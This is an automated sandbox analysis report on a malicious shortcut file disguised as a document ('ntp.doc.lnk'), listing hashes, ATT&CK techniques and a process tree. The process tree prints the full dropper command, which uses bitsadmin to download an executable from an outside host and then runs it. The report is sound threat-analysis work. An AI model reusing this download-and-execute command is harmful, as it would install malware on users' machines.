ff995449039b12666054de503dc9fe5802b4a6e688277eeb06e8d36624dfd7a2

Analysis

max time kernel
120s
max time network
130s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
11/10/2023, 11:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ntp.doc.lnk
Size

2KB
MD5

10a485b8c65306f6e992e68ab96bd6b6
SHA1

3537832558906a95d1669ff8ec37b1016805ec88
SHA256

93ef3ba4b4896b56850ef0a5f894155c163fe6d86fd5a70134b38ee1a7e2447a
SHA512

713cfd75c6e5ae3945ac4498c85190bdd1c41e89fd74f6b2eb16fddf6fc85befcf8e1be37fc134ca56fc0501d72d7a745872f02a8ed4a5c470b4b4cc1a62eb01

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2616	bitsadmin.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 2572	2416	cmd.exe	29
PID 2416 wrote to memory of 2572	2416	cmd.exe	29
PID 2416 wrote to memory of 2572	2416	cmd.exe	29
PID 2572 wrote to memory of 2616	2572	cmd.exe	30
PID 2572 wrote to memory of 2616	2572	cmd.exe	30
PID 2572 wrote to memory of 2616	2572	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ntp.doc.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\Admin\AppData\Local\Temp\ntp2.exe' & start C:\Users\Admin\AppData\Local\Temp\ntp2.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\Admin\AppData\Local\Temp\ntp2.exe'
    3⤵
    - Download via BitsAdmin
    PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads